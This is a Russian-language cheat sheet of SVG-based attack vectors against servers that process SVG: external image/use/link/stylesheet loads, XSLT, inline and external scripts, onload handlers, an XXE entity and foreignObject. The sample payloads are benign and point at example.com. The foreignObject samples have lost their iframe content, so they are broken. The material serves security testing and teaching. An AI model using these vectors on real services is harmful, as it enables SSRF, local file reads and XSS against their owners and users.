
Шпаргалка по эксплуатации серверных SVG-процессоров.
Хосты, обрабатывающие SVG, потенциально могут быть уязвимы к SSRF, LFI, XSS и RCE из-за богатого набора функций SVG.
Все эти методы указывают URI, который может быть абсолютным или относительным. Протоколы file и HTTP важно протестировать, но в зависимости от реализации могут поддерживаться и другие протоколы (например, схемы потоков PHP), включая javascript: и data:.
Этот документ содержит список всех известных мне способов злоупотребления этой функциональностью в SVG.
Обратите внимание, что некоторые сервисы, которые заявляют, что не принимают SVG в качестве входного формата, на самом деле принимают его с небольшой хитростью.
file не содержит магических сигнатур для SVG, так что, скорее всего, всё зависит от конкретных реализаций.SVG может включать внешние изображения напрямую через тег <image>.
<svg width="200" height="200"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<image xlink:href="https://example.com/image.jpg" height="200" width="200"/>
</svg>
Обратите внимание, что таким образом можно включать и изображения других SVG.
<use>SVG может включать внешнее SVG-содержимое через тег <use>.
file1.svg:
<svg width="200" height="200"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<use xlink:href="https://example.com/file2.svg#foo"/>
</svg>
file2.svg:
<svg width="200" height="200"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
</svg>
<link>SVG может включать внешние таблицы стилей через тег <link>, как и HTML.
<svg width="100%" height="100%" viewBox="0 0 100 100"
xmlns="http://www.w3.org/2000/svg">
<link xmlns="http://www.w3.org/1999/xhtml" rel="stylesheet" href="http://example.com/style.css" type="text/css"/>
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
</svg>
@include<svg xmlns="http://www.w3.org/2000/svg">
<style>
@import url(http://example.com/style.css);
</style>
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
</svg>
<?xml-stylesheet?><?xml-stylesheet href="http://example.com/style.css"?>
<svg width="100%" height="100%" viewBox="0 0 100 100"
xmlns="http://www.w3.org/2000/svg">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
</svg>
SVG-файлы могут включать XSLT-таблицы стилей через <?xml-stylesheet?>. Удивительно, но это, похоже, действительно работает в Chrome.
<?xml version="1.0" ?>
<?xml-stylesheet href="https://example.com/style.xsl" type="text/xsl" ?>
<svg width="10cm" height="5cm"
xmlns="http://www.w3.org/2000/svg">
<rect x="2cm" y="1cm" width="6cm" height="3cm"/>
</svg>
<?xml version="1.0"?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns="http://www.w3.org/2000/svg"
xmlns:svg="http://www.w3.org/2000/svg">
<xsl:output
method="xml"
indent="yes"
standalone="no"
doctype-public="-//W3C//DTD SVG 1.1//EN"
doctype-system="http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"
media-type="image/svg" />
<xsl:template match="/svg:svg">
<svg width="10cm" height="5cm"
xmlns="http://www.w3.org/2000/svg">
<rect x="2cm" y="1cm" width="6cm" height="3cm" fill="red"/>
</svg>
</xsl:template>
</xsl:stylesheet>
Примечание: из-за природы XSLT входные данные на самом деле не обязаны быть корректным SVG-файлом, если xml-stylesheet игнорируется, но это полезно для обхода фильтров.
Кроме того, поскольку у меня нет желания изучать XSLT, этот шаблон просто полностью заменяет «старое» изображение новым.
SVG может изначально включать встроенный JavaScript, как и HTML.
<svg width="100%" height="100%" viewBox="0 0 100 100"
xmlns="http://www.w3.org/2000/svg">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
<script type="text/javascript">
// <![CDATA[
document.getElementById("foo").setAttribute("fill", "blue");
// ]]>
</script>
</svg>
SVG также может включать внешние скрипты.
<svg width="100%" height="100%" viewBox="0 0 100 100"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green"
id="foo" o="foo"/>
<script src="http://example.com/script.js" type="text/javascript"/>
</svg>
SVG также может иметь встроенные обработчики событий, которые выполняются при загрузке (onload).
<svg width="100%" height="100%" viewBox="0 0 100 100"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green"
id="foo" o="foo"/>
<image xlink:href="https://example.com/foo.jpg" height="200" width="200" onload="document.getElementById('foo').setAttribute('fill', 'blue');"/>
</svg>
Вы также можете привязывать обработчики к анимациям и некоторым другим событиям. Читайте спецификацию SVG.
Поскольку SVG — это XML, в нём тоже могут быть XXE:
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd" [
<!-- an internal subset can be embedded here -->
<!ENTITY xxe SYSTEM "https://example.com/foo.txt">
]>
<svg width="100%" height="100%" viewBox="0 0 100 100"
xmlns="http://www.w3.org/2000/svg">
<text x="20" y="35">My &xxe;</text>
</svg>
<foreignObject>Тег <foreignObject> просто безумен. Его можно использовать для включения произвольного (X)HTML в SVG.
Например, чтобы включить iframe:
<svg width="500" height="500"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
<foreignObject width="500" height="500">
</foreignObject>
</svg>
Если у вас нет сетевого доступа (например, в песочнице), вы можете поместить data URI или javascript URI в качестве цели iframe:
<svg width="500" height="500"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
<foreignObject width="500" height="500">
k
</foreignObject>
</svg>
Если вам мало SVG, вы также можете включить дополнительные SVG через теги <object> или <embed>. Думаю, теоретически туда можно поместить и Flash.
Обратите также внимание, что, поскольку вы находитесь в другом XML-пространстве имён, всё, что удаляло только svg:script, могло не удалить html:script (или аналогично для атрибутов).
Подключать внешние шрифты, если вам когда-нибудь это понадобится, тоже возможно, думаю, как через CSS, так и через нативные атрибуты. Впрочем, это не особо полезно, потому что веб-шрифты требуют CORS по причине, которую я не совсем понимаю, связанной с DRM для ресурсов шрифтов, чтобы предотвратить хотлинкинг. Хотя, полагаю, иногда встречаются уязвимости в движках шрифтов.